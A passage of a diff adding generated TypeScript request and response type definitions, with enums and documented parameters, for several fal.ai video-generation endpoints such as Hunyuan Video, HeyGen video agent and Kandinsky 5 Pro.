'Francis in Blazer (Upper Body)': 'Francis in Blazer (Upper Body)', + Matthew: 'Matthew', + 'Matthew in Suit': 'Matthew in Suit', + 'Matthew in Flowery Shirt': 'Matthew in Flowery Shirt', + 'Matthew in Grey Sweater': 'Matthew in Grey Sweater', + 'Nik in Black Shirt': 'Nik in Black Shirt', + 'Nik in Blue Sweater': 'Nik in Blue Sweater', + 'Tyler in Casual Suit': 'Tyler in Casual Suit', + 'Tyler in Shirt': 'Tyler in Shirt', + 'Tyler in Suit': 'Tyler in Suit', +} as const + +export type InputFalAiHeygenV3VideoAgentAvatarEnumKey = + (typeof inputFalAiHeygenV3VideoAgentAvatarEnum)[keyof typeof inputFalAiHeygenV3VideoAgentAvatarEnum] + +/** + * @description Request for the v3 Video Agent with styles and file attachments. + * @type object + */ +export type InputFalAiHeygenV3VideoAgent = { + /** + * @description Natural language prompt describing the video to generate. The agent handles avatar selection, script, and production automatically. + * @maxLength 10000 + * @example Create a 30-second product demo video showcasing our new AI features with professional lighting and modern graphics. + * @type string + */ + prompt: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URLs of files to include as assets in the video (images, videos, audio, PDFs). Maximum 20 files. + * @example ["https://example.com/presentation.pdf"] + */ + file_urls?: string[] | null + /** + * @description When enabled, disables the agent's memory functions. + * @default false + * @type boolean | undefined + */ + incognito_mode?: boolean + /** + * @description Video orientation. Auto-detected from the prompt if omitted. + */ + orientation?: InputFalAiHeygenV3VideoAgentOrientationKey | null + /** + * @description Voice for narration. Set to 'auto' to let the agent auto-select. + * @default 'auto' + * @example auto + * @type string | undefined + */ + voice?: InputFalAiHeygenV3VideoAgentVoiceEnumKey + /** + * @description Avatar to use in the video. Set to 'auto' to let the agent auto-select based on the prompt. + * @default 'auto' + * @example auto + * @type string | undefined + */ + avatar?: InputFalAiHeygenV3VideoAgentAvatarEnumKey + /** + * @description Style template ID from the /v3/video-agent/styles endpoint. + */ + style_id?: string | null +} + +export type File36D8C4A8 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +/** + * @description Output from the v3 Video Agent. + * @type object + */ +export type OutputFalAiHeygenV3VideoAgent = { + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/0a908e47/INRshxAq8GRlGCPo5txxU_output.mp4"} + * @type object + */ + video: File36D8C4A8 +} + +export const inputFalAiHunyuanVideoResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiHunyuanVideoResolutionEnumKey = + (typeof inputFalAiHunyuanVideoResolutionEnum)[keyof typeof inputFalAiHunyuanVideoResolutionEnum] + +export const inputFalAiHunyuanVideoNumFramesEnum = { + '129': 129, + '85': 85, +} as const + +export type InputFalAiHunyuanVideoNumFramesEnumKey = + (typeof inputFalAiHunyuanVideoNumFramesEnum)[keyof typeof inputFalAiHunyuanVideoNumFramesEnum] + +export const inputFalAiHunyuanVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiHunyuanVideoAspectRatioEnumKey = + (typeof inputFalAiHunyuanVideoAspectRatioEnum)[keyof typeof inputFalAiHunyuanVideoAspectRatioEnum] + +export type InputFalAiHunyuanVideo = { + /** + * @description The resolution of the video to generate. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiHunyuanVideoResolutionEnumKey + /** + * @description The number of frames to generate. + * @default 129 + * @type number | undefined + */ + num_frames?: InputFalAiHunyuanVideoNumFramesEnumKey + /** + * @description The aspect ratio of the video to generate. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHunyuanVideoAspectRatioEnumKey + /** + * @description The prompt to generate the video from. + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. She wears a black leather jacket, a long red dress, and black boots, and carries a black purse. + * @type string + */ + prompt: string + /** + * @description The seed to use for generating the video. + */ + seed?: number | null + /** + * @description By default, generations are done with 35 steps. Pro mode does 55 steps which results in higher quality videos but will take more time and cost 2x more billing units. + * @default false + * @type boolean | undefined + */ + pro_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type FileAa9A4278 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiHunyuanVideo = { + /** + * @example {"url":"https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4"} + * @type object + */ + video: FileAa9A4278 + /** + * @description The seed used for generating the video. + * @type integer + */ + seed: number +} + +export type InputFalAiHunyuanVideoFoley = { + /** + * @description Random seed for reproducible generation. + */ + seed?: number | null + /** + * @description Negative prompt to avoid certain audio characteristics. + * @default 'noisy, harsh' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text description of the desired audio (optional). + * @example A person walks on frozen ice + * @example The crackling of fire and whooshing of flames + * @example Gentle footsteps on wooden floor + * @type string + */ + text_prompt: string + /** + * @description Number of inference steps for generation. + * @minimum 10 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The URL of the video to generate audio for. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/1_video.mp4 + * @type string + */ + video_url: string + /** + * @description Guidance scale for audio generation. + * @minimum 1 + * @maximum 10 + * @default 4.5 + * @type number | undefined + */ + guidance_scale?: number +} + +export type FileDa490A76 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiHunyuanVideoFoley = { + /** + * @description List of generated video files with audio. + * @type object + */ + video: FileDa490A76 +} + +export const inputFalAiHunyuanVideoImageToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiHunyuanVideoImageToVideoAspectRatioEnumKey = + (typeof inputFalAiHunyuanVideoImageToVideoAspectRatioEnum)[keyof typeof inputFalAiHunyuanVideoImageToVideoAspectRatioEnum] + +export type InputFalAiHunyuanVideoImageToVideo = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate the video from. + * @maxLength 1000 + * @example Two muscular cats boxing in a boxing ring. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the video to generate. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHunyuanVideoImageToVideoAspectRatioEnumKey + /** + * @description Turning on I2V Stability reduces hallucination but also reduces motion. + * @default false + * @type boolean | undefined + */ + i2v_stability?: boolean + /** + * @description The seed to use for generating the video. + */ + seed?: number | null + /** + * @description URL of the image input. + * @example https://storage.googleapis.com/falserverless/example_inputs/hunyuan_i2v.jpg + * @type string + */ + image_url: string + /** + * @description The resolution of the video to generate. + * @default '720p' + * @type string | undefined + */ + resolution?: '720p' + /** + * @description The number of frames to generate. + * @default 129 + * @type number | undefined + */ + num_frames?: 129 +} + +export type File0B564Efa = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiHunyuanVideoImageToVideo = { + /** + * @description The seed used for generating the video. + * @type integer + */ + seed: number + video: File0B564Efa +} + +export const inputFalAiHunyuanVideoV15ImageToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiHunyuanVideoV15ImageToVideoAspectRatioEnumKey = + (typeof inputFalAiHunyuanVideoV15ImageToVideoAspectRatioEnum)[keyof typeof inputFalAiHunyuanVideoV15ImageToVideoAspectRatioEnum] + +export type InputFalAiHunyuanVideoV15ImageToVideo = { + /** + * @description Enable prompt expansion to enhance the input prompt. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The prompt to generate the video from. + * @example A stark starting line divides two powerful cars, engines revving for the challenge ahead. They surge forward in the heat of competition, a blur of speed and chrome. The finish line looms as they race for victory. + * @type string + */ + prompt: string + /** + * @description The number of frames to generate. + * @minimum 1 + * @maximum 121 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The aspect ratio of the video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHunyuanVideoV15ImageToVideoAspectRatioEnumKey + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description The number of inference steps. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description URL of the reference image for image-to-video generation. + * @example https://v3.fal.media/files/panda/HnY2yf-BbzlrVQxR-qP6m_9912d0932988453aadf3912fc1901f52.jpg + * @type string + */ + image_url: string + /** + * @description The resolution of the video. + * @default '480p' + * @type string | undefined + */ + resolution?: '480p' + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to guide what not to generate. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File7C23F745 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiHunyuanVideoV15ImageToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hyvideo_v15_480p_output.mp4"} + * @type object + */ + video: File7C23F745 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiHunyuanVideoV15TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiHunyuanVideoV15TextToVideoAspectRatioEnumKey = + (typeof inputFalAiHunyuanVideoV15TextToVideoAspectRatioEnum)[keyof typeof inputFalAiHunyuanVideoV15TextToVideoAspectRatioEnum] + +export type InputFalAiHunyuanVideoV15TextToVideo = { + /** + * @description Enable prompt expansion to enhance the input prompt. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The prompt to generate the video. + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. + * @type string + */ + prompt: string + /** + * @description The number of frames to generate. + * @minimum 1 + * @maximum 121 + * @default 121 + * @type integer | undefined + */ + num_frames?: number + /** + * @description The aspect ratio of the video. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHunyuanVideoV15TextToVideoAspectRatioEnumKey + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description The number of inference steps. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The resolution of the video. + * @default '480p' + * @type string | undefined + */ + resolution?: '480p' + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The negative prompt to guide what not to generate. + * @default '' + * @type string | undefined + */ + negative_prompt?: string +} + +export type File08E33461 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputFalAiHunyuanVideoV15TextToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/hyvideo_v15_480p_output.mp4"} + * @type object + */ + video: File08E33461 + /** + * @description The seed used for generation. + * @type integer + */ + seed: number +} + +export const inputFalAiHunyuanVideoVideoToVideoResolutionEnum = { + '480p': '480p', + '580p': '580p', + '720p': '720p', +} as const + +export type InputFalAiHunyuanVideoVideoToVideoResolutionEnumKey = + (typeof inputFalAiHunyuanVideoVideoToVideoResolutionEnum)[keyof typeof inputFalAiHunyuanVideoVideoToVideoResolutionEnum] + +export const inputFalAiHunyuanVideoVideoToVideoAspectRatioEnum = { + '16:9': '16:9', + '9:16': '9:16', +} as const + +export type InputFalAiHunyuanVideoVideoToVideoAspectRatioEnumKey = + (typeof inputFalAiHunyuanVideoVideoToVideoAspectRatioEnum)[keyof typeof inputFalAiHunyuanVideoVideoToVideoAspectRatioEnum] + +export const inputFalAiHunyuanVideoVideoToVideoNumFramesEnum = { + '129': 129, + '85': 85, +} as const + +export type InputFalAiHunyuanVideoVideoToVideoNumFramesEnumKey = + (typeof inputFalAiHunyuanVideoVideoToVideoNumFramesEnum)[keyof typeof inputFalAiHunyuanVideoVideoToVideoNumFramesEnum] + +export type InputFalAiHunyuanVideoVideoToVideo = { + /** + * @description The resolution of the video to generate. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiHunyuanVideoVideoToVideoResolutionEnumKey + /** + * @description URL of the video input. + * @example https://storage.googleapis.com/falserverless/hunyuan_video/hunyuan_v2v_input.mp4 + * @type string + */ + video_url: string + /** + * @description The aspect ratio of the video to generate. + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiHunyuanVideoVideoToVideoAspectRatioEnumKey + /** + * @description Strength for Video-to-Video + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description The prompt to generate the video from. + * @example A stylish woman walks down a Tokyo street filled with warm glowing neon and animated city signage. She wears a dark blue leather jacket, a long pink dress, and bright yellow boots, and carries a black purse. + * @type string + */ + prompt: string + /** + * @description The number of frames to generate. + * @default 129 + * @type number | undefined + */ + num_frames?: InputFalAiHunyuanVideoVideoToVideoNumFramesEnumKey + /** + * @description By default, generations are done with 35 steps. Pro mode does 55 steps which results in higher quality videos but will take more time and cost 2x more billing units. + * @default false + * @type boolean | undefined + */ + pro_mode?: boolean + /** + * @description The seed to use for generating the video. + */ + seed?: number | null + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default false + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type File242Bd166 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiHunyuanVideoVideoToVideo = { + /** + * @example {"url":"https://v3.fal.media/files/kangaroo/y5-1YTGpun17eSeggZMzX_video-1733468228.mp4"} + * @type object + */ + video: File242Bd166 + /** + * @description The seed used for generating the video. + * @type integer + */ + seed: number +} + +export type Keyframe28577F77 = { + /** + * @description 0-based output frame index for this keyframe. Must be >= 1 (frame 0 is the restyled first frame from `image_url`) and less than the output frame count. + * @minimum 1 + * @example 80 + * @type integer + */ + frame_index: number + /** + * @description URL of a restyled keyframe image. It is pinned verbatim at `frame_index` to anchor identity over long videos. Its aspect ratio must match the output aspect ratio within 0.1. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-image-input.jpg + * @type string + */ + image_url: string +} + +export const inputFalAiIdV2VResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiIdV2VResolutionEnumKey = + (typeof inputFalAiIdV2VResolutionEnum)[keyof typeof inputFalAiIdV2VResolutionEnum] + +export type InputFalAiIdV2V = { + /** + * @description Maximum number of output frames. Capped at the source video's frame count. + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Random seed for reproducibility. The same seed is used for every clip of a multi-clip generation. + */ + seed?: number | null + /** + * @description Optional restyled keyframes pinned at specific output frame indices to anchor identity over long videos. + * @type array | undefined + */ + keyframes?: Keyframe28577F77[] + /** + * @description Enable safety checking of inputs and outputs. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Output resolution tier. Orientation follows the source video (720p is 1280x720 or 720x1280; 480p is 832x480 or 480x832). + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiIdV2VResolutionEnumKey + /** + * @description Text prompt for SAM-3 subject segmentation. The segmented subject's pixels condition the generation; the rest of the frame is regenerated freely. + * @maxLength 100 + * @default 'person' + * @example person + * @type string | undefined + */ + segmentation_prompt?: string + /** + * @description Number of diffusion sampling steps per clip. Higher improves quality but is slower. + * @minimum 2 + * @maximum 40 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt describing the restyled video to generate. + * @example An astronaut walking through an autumn forest + * @type string + */ + prompt: string + /** + * @description VACE conditioning scale. Controls how strongly the source video's structure constrains the generation. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + vace_scale?: number + /** + * @description Classifier-free guidance scale. Controls prompt adherence versus creativity. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description URL of the source video whose motion and framing drive the generation. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string + /** + * @description URL of the restyled first frame. The video is regenerated in this frame's identity/style. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-image-input.jpg + * @type string + */ + image_url: string +} + +export type File49F7C176 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiIdV2V = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/scail2-output.mp4","file_name":"output.mp4","content_type":"video/mp4","file_size":1048576} + * @type object + */ + video: File49F7C176 +} + +export type Keyframe7B20A097 = { + /** + * @description 0-based output frame index for this keyframe. Must be >= 1 (frame 0 is the restyled first frame from `image_url`) and less than the output frame count. + * @minimum 1 + * @example 80 + * @type integer + */ + frame_index: number + /** + * @description URL of a restyled keyframe image. It is pinned verbatim at `frame_index` to anchor identity over long videos. Its aspect ratio must match the output aspect ratio within 0.1. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-image-input.jpg + * @type string + */ + image_url: string +} + +export const inputFalAiIdV2VRelightResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputFalAiIdV2VRelightResolutionEnumKey = + (typeof inputFalAiIdV2VRelightResolutionEnum)[keyof typeof inputFalAiIdV2VRelightResolutionEnum] + +export type InputFalAiIdV2VRelight = { + /** + * @description Maximum number of output frames. Capped at the source video's frame count. + * @minimum 17 + * @maximum 241 + * @default 81 + * @type integer | undefined + */ + num_frames?: number + /** + * @description Random seed for reproducibility. The same seed is used for every clip of a multi-clip generation. + */ + seed?: number | null + /** + * @description Optional restyled keyframes pinned at specific output frame indices to anchor identity over long videos. + * @type array | undefined + */ + keyframes?: Keyframe7B20A097[] + /** + * @description Output resolution tier. Orientation follows the source video (720p is 1280x720 or 720x1280; 480p is 832x480 or 480x832). + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiIdV2VRelightResolutionEnumKey + /** + * @description The prompt describing the restyled video to generate. + * @example An astronaut walking through an autumn forest + * @type string + */ + prompt: string + /** + * @description Number of diffusion sampling steps per clip. Higher improves quality but is slower. + * @minimum 2 + * @maximum 40 + * @default 30 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description VACE conditioning scale. Controls how strongly the source video's structure constrains the generation. + * @minimum 0 + * @maximum 2 + * @default 1 + * @type number | undefined + */ + vace_scale?: number + /** + * @description Enable safety checking of inputs and outputs. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. Controls prompt adherence versus creativity. + * @minimum 1 + * @maximum 10 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description URL of the source video whose motion and framing drive the generation. + * @example https://storage.googleapis.com/falserverless/model_tests/video_models/mmaudio_input.mp4 + * @type string + */ + video_url: string + /** + * @description URL of the restyled first frame. The video is regenerated in this frame's identity/style. + * @example https://storage.googleapis.com/falserverless/example_inputs/ltxv-image-input.jpg + * @type string + */ + image_url: string +} + +export type File42228Fa2 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiIdV2VRelight = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/scail2-output.mp4","file_name":"output.mp4","content_type":"video/mp4","file_size":1048576} + * @type object + */ + video: File42228Fa2 +} + +export const inputFalAiInfinityStarTextToVideoAspectRatioEnum = { + '16:9': '16:9', + '1:1': '1:1', + '9:16': '9:16', +} as const + +export type InputFalAiInfinityStarTextToVideoAspectRatioEnumKey = + (typeof inputFalAiInfinityStarTextToVideoAspectRatioEnum)[keyof typeof inputFalAiInfinityStarTextToVideoAspectRatioEnum] + +/** + * @description Input model for text-to-video generation + * @type object + */ +export type InputFalAiInfinityStarTextToVideo = { + /** + * @description Number of inference steps + * @minimum 1 + * @maximum 100 + * @default 50 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Negative prompt to guide what to avoid in generation + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Guidance scale for generation + * @minimum 1 + * @maximum 40 + * @default 7.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Aspect ratio of the generated output + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiInfinityStarTextToVideoAspectRatioEnumKey + /** + * @description Whether to use an LLM to enhance the prompt. + * @default true + * @type boolean | undefined + */ + enhance_prompt?: boolean + /** + * @description Tau value for video scale + * @minimum 0.1 + * @maximum 1 + * @default 0.4 + * @type number | undefined + */ + tau_video?: number + /** + * @description Random seed for reproducibility. Leave empty for random generation. + */ + seed?: number | null + /** + * @description Text prompt for generating the video + * @example A serene mountain landscape at sunset with flowing clouds + * @type string + */ + prompt: string + /** + * @description Whether to use APG + * @default true + * @type boolean | undefined + */ + use_apg?: boolean +} + +export type File26659831 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +/** + * @description Output model for text-to-video generation + * @type object + */ +export type OutputFalAiInfinityStarTextToVideo = { + /** + * @description Generated video file + * @type object + */ + video: File26659831 +} + +export const inputFalAiKandinsky5ProImageToVideoResolutionEnum = { + '512P': '512P', + '1024P': '1024P', +} as const + +export type InputFalAiKandinsky5ProImageToVideoResolutionEnumKey = + (typeof inputFalAiKandinsky5ProImageToVideoResolutionEnum)[keyof typeof inputFalAiKandinsky5ProImageToVideoResolutionEnum] + +export const inputFalAiKandinsky5ProImageToVideoAcceleration = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiKandinsky5ProImageToVideoAccelerationKey = + (typeof inputFalAiKandinsky5ProImageToVideoAcceleration)[keyof typeof inputFalAiKandinsky5ProImageToVideoAcceleration] + +export type InputFalAiKandinsky5ProImageToVideo = { + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + * @example 42 + */ + seed?: number | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The URL of the image to use as a reference for the video generation. + * @example https://storage.googleapis.com/falserverless/model_tests/wan/dragon-warrior.jpg + * @type string + */ + image_url: string + /** + * @description Video resolution: 512p or 1024p. + * @default '512P' + * @type string | undefined + */ + resolution?: InputFalAiKandinsky5ProImageToVideoResolutionEnumKey + /** + * @minimum 1 + * @maximum 40 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate the video from. + * @example The white dragon warrior stands still, eyes full of determination and strength. The camera slowly moves closer or circles around the warrior, highlighting the powerful presence and heroic spirit of the character. + * @type string + */ + prompt: string + /** + * @description Acceleration level for faster generation. + * @default regular + */ + acceleration?: InputFalAiKandinsky5ProImageToVideoAccelerationKey | null + /** + * @description Video duration. + * @default '5s' + * @type string | undefined + */ + duration?: '5s' +} + +export type File7677F891 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky5ProImageToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/0a877276/Bg24FK_awlNAYKn962Vm0_output.mp4","file_size":22253751,"file_name":"output.mp4","content_type":"application/octet-stream"} + */ + video?: File7677F891 | null +} + +export const inputFalAiKandinsky5ProTextToVideoAspectRatioEnum = { + '3:2': '3:2', + '1:1': '1:1', + '2:3': '2:3', +} as const + +export type InputFalAiKandinsky5ProTextToVideoAspectRatioEnumKey = + (typeof inputFalAiKandinsky5ProTextToVideoAspectRatioEnum)[keyof typeof inputFalAiKandinsky5ProTextToVideoAspectRatioEnum] + +export const inputFalAiKandinsky5ProTextToVideoAcceleration = { + none: 'none', + regular: 'regular', +} as const + +export type InputFalAiKandinsky5ProTextToVideoAccelerationKey = + (typeof inputFalAiKandinsky5ProTextToVideoAcceleration)[keyof typeof inputFalAiKandinsky5ProTextToVideoAcceleration] + +export const inputFalAiKandinsky5ProTextToVideoResolutionEnum = { + '512P': '512P', + '1024P': '1024P', +} as const + +export type InputFalAiKandinsky5ProTextToVideoResolutionEnumKey = + (typeof inputFalAiKandinsky5ProTextToVideoResolutionEnum)[keyof typeof inputFalAiKandinsky5ProTextToVideoResolutionEnum] + +export type InputFalAiKandinsky5ProTextToVideo = { + /** + * @description The number of inference steps. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Aspect ratio of the generated video. One of (3:2, 1:1, 2:3). + * @default '3:2' + * @type string | undefined + */ + aspect_ratio?: InputFalAiKandinsky5ProTextToVideoAspectRatioEnumKey + /** + * @description Acceleration level for faster generation. + * @default regular + */ + acceleration?: InputFalAiKandinsky5ProTextToVideoAccelerationKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The text prompt to guide video generation. + * @example A medium shot establishes a modern, minimalist office setting: clean lines, muted grey walls, and polished wood surfaces. The focus shifts to a close-up on a woman in sharp, navy blue business attire. Her crisp white blouse contrasts with the deep blue of her tailored suit jacket. The subtle texture of the fabric is visible—a fine weave with a slight sheen. Her expression is serious, yet engaging, as she speaks to someone unseen just beyond the frame. Close-up on her eyes, showing the intensity of her gaze and the fine lines around them that hint at experience and focus. Her lips are slightly parted, as if mid-sentence. The light catches the subtle highlights in her auburn hair, meticulously styled. Note the slight catch of light on the silver band of her watch. High resolution 4k + * @type string + */ + prompt: string + /** + * @description The length of the video to generate. + * @default '5s' + * @example 5s + * @type string | undefined + */ + duration?: '5s' + /** + * @description Video resolution: 512p or 1024p. + * @default '512P' + * @type string | undefined + */ + resolution?: InputFalAiKandinsky5ProTextToVideoResolutionEnumKey + /** + * @description The seed to use for generation. If not provided, a random seed will be used. + * @example 42 + */ + seed?: number | null +} + +export type File34Ec36C5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiKandinsky5ProTextToVideo = { + /** + * @description The seed used for generation. + * @type integer + */ + seed: number + /** + * @description The generated video file. + * @example {"url":"https://v3b.fal.media/files/b/0a87754e/o5FWdz83KTXzq0FB7aG5Q_output.mp4","file_size":14530500,"file_name":"output.mp4","content_type":"application/octet-stream"} + */ + video?: File34Ec36C5 | null +} + +export const inputFalAiKandinsky5TextToVideoDurationEnum = { + 